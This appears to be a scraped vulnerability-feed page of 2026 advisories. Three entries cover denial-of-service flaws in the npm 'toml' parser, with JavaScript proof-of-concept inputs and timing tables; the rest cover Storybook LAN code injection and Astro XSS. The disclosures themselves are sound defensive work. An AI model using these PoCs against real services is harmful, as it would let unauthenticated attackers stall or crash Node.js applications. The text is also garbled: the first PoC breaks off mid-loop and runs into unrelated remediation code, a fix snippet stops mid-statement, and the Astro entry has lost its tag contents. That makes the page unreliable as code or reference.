of 20,000 distinct-named `[[name]]` blocks takes ~10.3 seconds to parse — a completely
ordinary-looking TOML shape (a flat settings block plus one or more array-of-tables sections),
not a contrived edge case. This is a separate, unpatched code path from the previously fixed
stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) and requires no key nesting or dotted keys at all.

- Package: `toml` (npm), repository `BinaryMuse/toml-node`
- Function: `addTableArray()` in `lib/compiler.js`
- Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past
 the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release.
 Not exhaustively verified against every prior release, but the affected function is
 unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely
 predates that release as well.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114141).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114141&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-4qx8-w7c3-pj3p: https://github.com/advisories/GHSA-4qx8-w7c3-pj3p
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114141: https://nvd.nist.gov/vuln/detail/CVE-2026-114141
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114141&date=2026-10-25
## Summary

`toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via many
array-of-tables (`[[name]]`) headers. `addTableArray()` in `lib/compiler.js` rescans two
entire bookkeeping Sets on every `[[name]]` header without pruning unrelated or distinct
entries, so a document containing n such headers costs O(n²) compiler work. A ~321KB document
of 20,000 distinct-named `[[name]]` blocks takes ~10.3 seconds to parse — a completely
ordinary-looking TOML shape (a flat settings block plus one or more array-of-tables sections),
not a contrived edge case. This is a separate, unpatched code path from the previously fixed
stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) and requires no key nesting or dotted keys at all.

## Affected component / version

- Package: `toml` (npm), repository `BinaryMuse/toml-node`
- Function: `addTableArray()` in `lib/compiler.js`
- Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past
 the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release.
 Not exhaustively verified against every prior release, but the affected function is
 unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely
 predates that release as well.

## Details

`toml.parse(input, options)` (`index.js:5-9`) forwards the caller-supplied string to
`parser.parse()` and then `compiler.compile()` with no length or structural validation. Every
`[[name]]` (array-of-tables) header is routed (`reduce()`, `lib/compiler.js:43`) to
`addTableArray()` (`lib/compiler.js:218-245`), which performs two full linear scans on every
call:

```js
assignedPaths.forEach(function(p) {
 if (isSameOrSubPath(p, quotedPath)) assignedPaths.delete(p);
});
valueAssignments.forEach(function(p) {
 if (isSameOrSubPath(p, quotedPath)) valueAssignments.delete(p);
});
```
(`lib/compiler.js:228-233`)

`assignedPaths` and `valueAssignments` accumulate one entry per top-level key/table/array path
ever assigned in the entire document. Each scan prunes only entries matching the *currently
reopened* path via `isSameOrSubPath()` (`lib/compiler.js:319-321`: `path === prefix ||
path.indexOf(prefix + ".") === 0`); anything else — an unrelated top-level key, or simply a
*different* array-of-tables name — is never removed and is rescanned in full on every
subsequent `[[name]]` header for the rest of the parse. `Set.prototype.forEach` has no early
exit, so this is unconditionally O(current Set size) on every call, giving O(n²) total work
for n such headers.

## Proof of Concept

The sharpest reproduction needs no unrelated keys at all — just N array-of-tables headers with
N *distinct* names, since nothing is ever pruned when no name repeats:

```js
const toml = require('toml');

function distinctArrayHeaders(n) {
 let out = '';
 for (let i = 0; i >` keyed by the
first key component) so `addTableArray()` only ever scans the bucket relevant to the path
being reopened, in time proportional to that bucket's size rather than the whole document's
accumulated path count:

```js
var assignedByRoot = new Map(); // root segment -> Set 

function addTableArray(node) {
 var path = node.value;
 var root = path[0];
 var bucket = assignedByRoot.get(root) || new Set();
 bucket.forEach(function(p) {
 if (isSameOrSubPath(p, quotedPath)) bucket.delete(p);
 });
 // ...rest of addTableArray unchanged, reading/writing the per-root bucket
 // instead of the global assignedPaths/valueAssignments Sets
}
```

As with the sibling finding, an input-size or table-count limit would also help as
defense-in-depth.

## Credit

Discovered and reported by SecDim Security Research
secdim.com | @secdim | security@secdim.com

Affected package ranges reported by GitHub:
toml: <= 5.0.0
Action: GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### toml-node: Quadratic-complexity DoS via long dotted keys or table paths in toml.parse()
https://kevwire.com/record/CVE-2026-114143
toml-node: Quadratic-complexity DoS via long dotted keys or table paths in toml.parse() (Oct 22, 2026).
`toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via a single
long dotted key, table header, or inline-table key. A ~100KB crafted document causes a
multi-second synchronous hang; a ~200KB document crashes the Node.js process outright with an
uncatchable out-of-memory error. This is a separate, unpatched code path from the previously
fixed stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) — it requires no array/inline-table nesting at
all, and is confirmed unaffected by the `maxDepth` option that fixed that earlier issue.

- Package: `toml` (npm), repository `BinaryMuse/toml-node`
- Functions: `assign()`, `deepRef()`, `setNestedKey()` in `lib/compiler.js`
- Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past
 the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release.
 Not exhaustively verified against every prior release, but the affected functions are
 unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely
 predates that release as well.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114143).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114143&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9j65-hcg3-gc64: https://github.com/advisories/GHSA-9j65-hcg3-gc64
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114143: https://nvd.nist.gov/vuln/detail/CVE-2026-114143
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114143&date=2026-10-25
## Summary

`toml.parse()` is vulnerable to a quadratic-complexity (O(n²)) denial-of-service via a single
long dotted key, table header, or inline-table key. A ~100KB crafted document causes a
multi-second synchronous hang; a ~200KB document crashes the Node.js process outright with an
uncatchable out-of-memory error. This is a separate, unpatched code path from the previously
fixed stack-overflow DoS (`GHSA-82x6-q7mm-w9cf`) — it requires no array/inline-table nesting at
all, and is confirmed unaffected by the `maxDepth` option that fixed that earlier issue.

## Affected component / version

- Package: `toml` (npm), repository `BinaryMuse/toml-node`
- Functions: `assign()`, `deepRef()`, `setNestedKey()` in `lib/compiler.js`
- Confirmed present in the audited checkout at commit `1b2ac40` (2026-07-16), one commit past
 the `v5.0.0` tag (a changelog-only change) — i.e. present in `v5.0.0`, the latest release.
 Not exhaustively verified against every prior release, but the affected functions are
 unrelated to `v5.0.0`'s BigInt/Temporal changes (per `CHANGELOG.md`), so the defect likely
 predates that release as well.

## Details

`toml.parse(input, options)` (`index.js:5-9`) forwards the caller-supplied string to
`parser.parse()` and then `compiler.compile()` with no length or structural validation.
Inside `lib/compiler.js`, three separate functions each walk a dotted key's segments in a
`for` loop and, on **every** iteration, recompute the full path-prefix string from scratch:

- `assign()` (lines 69-107, the sink at line 81): `var intermediatePath =
 makeFullPath(keys.slice(0, i + 1));` — reached for top-level dotted-key assignments like
 `a.b.c = 1`.
- `deepRef()` (lines 247-281, the sink at line 252): the identical pattern via
 `pathKey(keys.slice(0, i + 1))` — reached from table headers `[a.b.c]` and array-of-tables
 `[[a.b.c]]` via `setPath()`/`addTableArray()`.
- `setNestedKey()` (lines 184-202, the sink at line 187): the identical pattern — reached from
 inline-table dotted keys like `t = { a.b.c = 1 }`.

`keys.slice(0, i + 1)` allocates a new array of length `i`; `pathKey()`/`makeFullPath()`
(lines 311-317) then does `.map(quoteDottedString).join(".")`, also O(i). Since this runs on
every one of the `n` segments of a dotted key, total work is `O(1 + 2 + ... + n) = O(n²)`, not
`O(n)`. The string is computed unconditionally on the happy path (only ever *used* if an error
is about to be thrown), so there is no early exit that makes this cheap in practice.

No limit exists anywhere on dotted-key segment count: `dot_ended_table_key_part+` and
`inline_dot_key_part+` in `src/toml.pegjs` (lines 122, 311) are unbounded `+` repetitions,
parsed iteratively rather than through the grammar's `value` rule — so the existing
`MAX_DEPTH`/`maxDepth` nesting guard (`src/toml.pegjs:141-151`, enforced in the generated
`lib/parser.js:1022`) does not apply to key length at all. We confirmed this directly: setting
`options.maxDepth: 1` (the strictest possible value) against a 16,000-segment key produced no
measurable timing difference from the unrestricted case.

## Proof of Concept

```js
const toml = require('toml');

// n-segment dotted key: "k0.k1.k2. ... .k{n-1} = 1"
function segKey(n) {
 const parts = [];
 for (let i = 0; i < n; i++) parts.push('k' + i);
 return parts.join('.') + ' = 1\n';
}

// ~100.9 KB input -- takes ~6.6-6.8 seconds
toml.parse(segKey(16000));

// ~200 KB input -- crashes the Node process:
// "FATAL ERROR: Ineffective mark-compacts near heap limit - JavaScript heap out of memory"
toml.parse(segKey(32000));
```

Measured timings (Node v22, direct execution against this repo):

| n (segments) | input size | time |
|---|---|---|
| 1,000 | ~4.9 KB | 34 ms |
| 8,000 | ~46.9 KB | 1.6 s |
| 16,000 | ~100.9 KB | 6.8 s |
| 32,000 | ~200 KB | **process crash (OOM)** |

Doubling `n` from 8,000→16,000 roughly quadruples runtime (~4.2x), the signature of O(n²)
rather than the expected O(n) (~2x). Independently reproduced with the identical scaling
signature for the table-header variant (`[k0. ... .k15999]`, exercising `deepRef()`) and the
inline-table variant (`t = { k0. ... .k15999 = 1 }`, exercising `setNestedKey()`).

We also generalized this into a property-based fuzzing harness (fast-check, run under Node)
that automatically tests the "doubling input size should not more than roughly double parse
time" invariant across 12 structural dimensions of the grammar/compiler; it independently
re-flags all three code paths above on every run, with no additional dimension confirmed
vulnerable after follow-up investigation. The harness is available on request.

## Impact

Node.js is single-threaded — a synchronous multi-second-to-crashing `parse()` call blocks the
entire event loop of the process calling it, stalling every other request/operation that
process is handling, not just the attacker's own. At the upper end this is not merely a hang:
an uncaught, process-terminating out-of-memory crash from a ~200KB attacker-supplied string is
a full denial of service requiring no authentication — just the ability to get one string
parsed by an application using this library (config upload, API request body, imported
manifest, or any of this library's intended use cases).

## Suggested remediation

Build the path prefix as an incrementally-extended string as the loop walks each segment
(append one already-quoted segment per iteration to a running string) instead of re-slicing an
array and re-joining the entire prefix from scratch on every iteration. For example, in
`assign()`:

```js
function assign(node) {
 var keys = node.key;
 var value = node.value;
 var off = node.offset;
 if (!Array.isArray(keys)) keys = [keys];
 var reduced = reduceValueNode(value);

 var target = context;
 var pathStr = pathKey(currentPath); // computed once, not per segment
 for (var i = 0; i < keys.length - 1; i++) {
 var k = keys[i];
 var quotedK = quoteDottedString(k);
 var intermediatePath = pathStr ? pathStr + "." + quotedK :

Affected package ranges reported by GitHub:
toml: <= 5.0.0
Action: GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### toml-node: Uncontrolled resource consumption (CPU DoS) via unbounded-length integer literals in toml.parse()
https://kevwire.com/record/CVE-2026-114144
toml-node: Uncontrolled resource consumption (CPU DoS) via unbounded-length integer literals in toml.parse() (Oct 22, 2026).
- `lib/parser.js:326` — hex: `BigInt('0x' + stripUnderscores(digits))`
- `lib/parser.js:327` — octal: `BigInt('0o' + stripUnderscores(digits))`
- `lib/parser.js:328` — binary: `BigInt('0b' + stripUnderscores(digits))`
- `lib/parser.js:329` — decimal: `BigInt(stripUnderscores(text))`

The parser does enforce a nesting-depth limit (`MAX_DEPTH`, default 500, `lib/parser.js:4343`) to guard against stack overflow from deeply nested arrays/inline tables (per GHSA-82x6-q7mm-w9cf). However, that guard only bounds *structural nesting* — it does not bound the length of a single scalar token.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114144).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114144&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-9qmh-m7c6-f92p: https://github.com/advisories/GHSA-9qmh-m7c6-f92p
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114144: https://nvd.nist.gov/vuln/detail/CVE-2026-114144
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114144&date=2026-10-25
### Summary
`toml.parse()` converts integer literals (hex, octal, binary, and decimal) to `BigInt` without first bounding the length of the digit sequence. Since `BigInt(string)` construction from a very long numeric string runs in super-linear time, a single small, well-formed TOML document containing one long integer literal can pin a Node.js process's event loop at 100% CPU for several seconds — a denial of service for any application that parses attacker-supplied or third-party TOML. No authentication or complex crafting is required.

### Details
In `lib/parser.js`, the grammar actions that build integer nodes call `BigInt()` directly on the matched digit text, with no upper bound on its length:

- `lib/parser.js:326` — hex: `BigInt('0x' + stripUnderscores(digits))`
- `lib/parser.js:327` — octal: `BigInt('0o' + stripUnderscores(digits))`
- `lib/parser.js:328` — binary: `BigInt('0b' + stripUnderscores(digits))`
- `lib/parser.js:329` — decimal: `BigInt(stripUnderscores(text))`

The parser does enforce a nesting-depth limit (`MAX_DEPTH`, default 500, `lib/parser.js:4343`) to guard against stack overflow from deeply nested arrays/inline tables (per GHSA-82x6-q7mm-w9cf). However, that guard only bounds *structural nesting* — it does not bound the length of a single scalar token.

The subsequent 64-bit range check in `lib/compiler.js` (`reduceInteger`, lines 143–150, comparing against `INT64_MIN` / `INT64_MAX` defined at lines 3–4) happens **after** the expensive `BigInt()` conversion has already completed. It therefore provides no protection against this cost — the CPU time is already spent by the time the value is rejected as out of range.

### PoC

```js
const toml = require('toml');

const N = 5_000_000; // ~5 MB request body
const doc = 'x = 0x' + 'f'.repeat(N);

const start = Date.now();
try {
 toml.parse(doc); // eventually throws "outside the 64-bit signed integer range" —
 // but only after the costly conversion has run
} catch (e) {}

console.log('elapsed:', Date.now() - start, 'ms');
```

**Measured results:**

| Digits (hex) | Approx. payload size | Parse time |
|---:|---:|---:|
| 200,000 | ~200 KB | 141 ms |
| 400,000 | ~400 KB | 276 ms |
| 800,000 | ~800 KB | 685 ms |
| 1,600,000 | ~1.6 MB | 1,761 ms |
| 5,000,000 | ~5 MB | 6,061 ms |

Growth is clearly super-linear. The same behavior reproduces for plain decimal literals (3,000,000 `'9'` digits → ~6.3 s).

### Impact
Any application that calls `toml.parse()` on untrusted or third-party input — config upload endpoints, CI/CD tools ingesting user-supplied `.toml` files, package managers, linters, editors/language servers — is exposed.

During the conversion, the event loop is fully blocked. In a typical single-threaded Node.js server this stalls **all** concurrent request handling, not just the request containing the malicious payload. A single ~5 MB request is sufficient to cause several seconds of full CPU denial of service.

**Suggested fix:** Reject digit sequences above a reasonable length *before* calling `BigInt()`, analogous to the existing `maxDepth` option. A 64-bit signed integer requires at most 20 decimal digits or 16 hex digits, so any digit sequence significantly longer than that is guaranteed to fail the existing range check anyway, and can be rejected with a cheap `.length` comparison instead of paying for the full `BigInt` conversion.

Affected package ranges reported by GitHub:
toml: <= 5.0.0
Action: GitHub lists first patched versions: toml: 5.0.1. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Storybook dev server vulnerable to code injection from the local network
https://kevwire.com/record/CVE-2026-114126
Storybook dev server vulnerable to code injection from the local network (Oct 22, 2026).
**Summary:** The Storybook dev server exposes its WebSocket authentication token to any client that can load its HTML pages. Any host on a LAN can open a Storybook app by IP address, and therefore obtain the token. The WebSocket can be used to inject code into story files or to create new files. Under the right circumstances, an attacker can execute code on the machine of a developer connected on the same LAN.

You are impacted if you run a Storybook dev server whilst connected on an untrusted local network, or to a WiFi access point posing as a trusted network. The impact of this advisory is more important if you have the Vitest addon installed and are using an old version of Vitest.
CVSS 8.7 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114126).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114126&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-px85-f4q5-jh77: https://github.com/advisories/GHSA-px85-f4q5-jh77
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-114126: https://nvd.nist.gov/vuln/detail/CVE-2026-114126
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114126&date=2026-10-25
**Summary:** The Storybook dev server exposes its WebSocket authentication token to any client that can load its HTML pages. Any host on a LAN can open a Storybook app by IP address, and therefore obtain the token. The WebSocket can be used to inject code into story files or to create new files. Under the right circumstances, an attacker can execute code on the machine of a developer connected on the same LAN.

## Who is impacted?

You are impacted if you run a Storybook dev server whilst connected on an untrusted local network, or to a WiFi access point posing as a trusted network. The impact of this advisory is more important if you have the Vitest addon installed and are using an old version of Vitest.

You are not impacted if:

- You run a dev server in an environment that other devices on your network cannot reach (e.g. a container that does not publish the Storybook port, or publishes it only on `127.0.0.1`)
- You run a dev server whilst connected to a trusted local network
- You serve a built version of Storybook on your machine

## Recommended actions

### Upgrade Storybook

Storybook has released patched versions of all affected major Storybook versions that fix all the vulnerabilities necessary for the worst-case scenario above to occur. 

Upgrade to a patched version listed below before running `storybook dev` again. If you cannot upgrade immediately, do not run an affected Storybook dev server until you can apply the fix.

- 11.0.0-alpha.6
- 10.6.2
- 9.1.21
- 8.6.19

### Review potentially breaking changes

Due to the exceptional nature of the reported vulnerabilities, the Storybook team has decided to change the default behavior of Storybook, including versions 8 and 9, for several network-related features that are not essential to most Storybook users' workflow. If your team relies on the affected features, this document explains how to fall back to the previous behavior.

#### Storybook now only listens on `127.0.0.1` by default

By default, the Storybook dev server no longer binds to all network interfaces on your machine. It only binds to the loopback address `127.0.0.1`. You can still open it at `http://localhost:6006`. This prevents other devices on the same network from seeing your Storybook server.

To share a Storybook with others, consider publishing it to Chromatic (free). To share it on a LAN without exposing the dev server, build a static Storybook with `storybook build` and serve the output folder with any static file server.

To share a live Storybook running in dev mode, you can use the `--host` CLI option to bind to the LAN IP you want to share Storybook on, e.g. `storybook dev --host 192.168.0.110`. Host and origin validation stays enabled with this option. If you use `--host 0.0.0.0` instead, also set `core.allowedHosts` to the hostnames you will use. Without it, host and origin validation is disabled, and Storybook shows a warning and asks you to confirm before it starts.

Consider using a firewall to restrict incoming packets to known colleague IPs, and avoid using `--host` on an untrusted WiFi network.

#### The Vitest addon now disables `browser.api.allowWrite` and `browser.api.allowExec`

Storybook no longer allows code running in Vitest Browser mode to write to the developer’s machine or execute other processes. In the unlikely scenario that you rely on this capability in your tests, you can manually re-enable these APIs in your Vitest config.

#### The `saveStoryRequest` event validates input more strictly

Storybook strengthened input validation in `saveStoryRequest`, so addons and the Storybook UI can now only write serialized args and story titles. It is no longer possible to exploit input validation weaknesses to e.g. write `play` functions with a custom addon.

If you develop an addon that writes or edits files on users’ behalf, reach out to the Storybook team to get advice on security best practice.

## Disclosure timeline

On August 19th, the Storybook team received a responsible disclosure showing that the WebSocket token can be stolen by an attacker sharing a LAN with a Storybook dev server.

The disclosure identified several actions an attacker can do. An attacker can bypass input validation to write a payload in a story file.

They can then trigger a test run via the WebSocket. If the Vitest addon is installed, the payload can exploit a Vitest API to write other files, with more exploit logic to the user’s filesystem.

Depending on the exploit content, where the file is written, and what software the developer uses, that exploit could then be executed.

Affected package ranges reported by GitHub:
storybook: >= 8.0.0, < 8.6.19
storybook: >= 9.0.0, < 9.1.21
storybook: >= 10.0.0, < 10.6.2
storybook: >= 11.0.0-alpha.0, < 11.0.0-alpha.6
@storybook/core: >= 8.0.0, < 8.6.19
@storybook/core-server: >= 8.0.0, < 8.6.19
@storybook/experimental-addon-test: >= 8.0.0, < 8.6.19
@storybook/addon-vitest: >= 9.0.0, < 9.1.21
@storybook/addon-vitest: >= 10.0.0, < 10.6.2
@storybook/addon-vitest: >= 11.0.0-alpha.0, < 11.0.0-alpha.6
@storybook/addon-mcp: >= 10.6.0, < 10.6.2
@storybook/addon-mcp: >= 11.0.0-alpha.0, < 11.0.0-alpha.6
Action: GitHub lists first patched versions: storybook: 8.6.19; storybook: 9.1.21; storybook: 10.6.2; storybook: 11.0.0-alpha.6; @storybook/core: 8.6.19; @storybook/core-server: 8.6.19; @storybook/experimental-addon-test: 8.6.19; @storybook/addon-vitest: 9.1.21; @storybook/addon-vitest: 10.6.2; @storybook/addon-vitest: 11.0.0-alpha.6; @storybook/addon-mcp: 10.6.2; @storybook/addon-mcp: 11.0.0-alpha.6. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Astro: Reflected/Stored XSS via unescaped <script>/<style> tag content in JSX/MDX rendering
https://kevwire.com/record/CVE-2026-114128
Astro: Reflected/Stored XSS via unescaped <script>/<style> tag content in JSX/MDX rendering (Oct 22, 2026).
Astro's JSX and MDX rendering pipeline treated string children of ``, an attacker-controlled value containing ` ` or ` ` could terminate the element and inject arbitrary HTML and JavaScript.

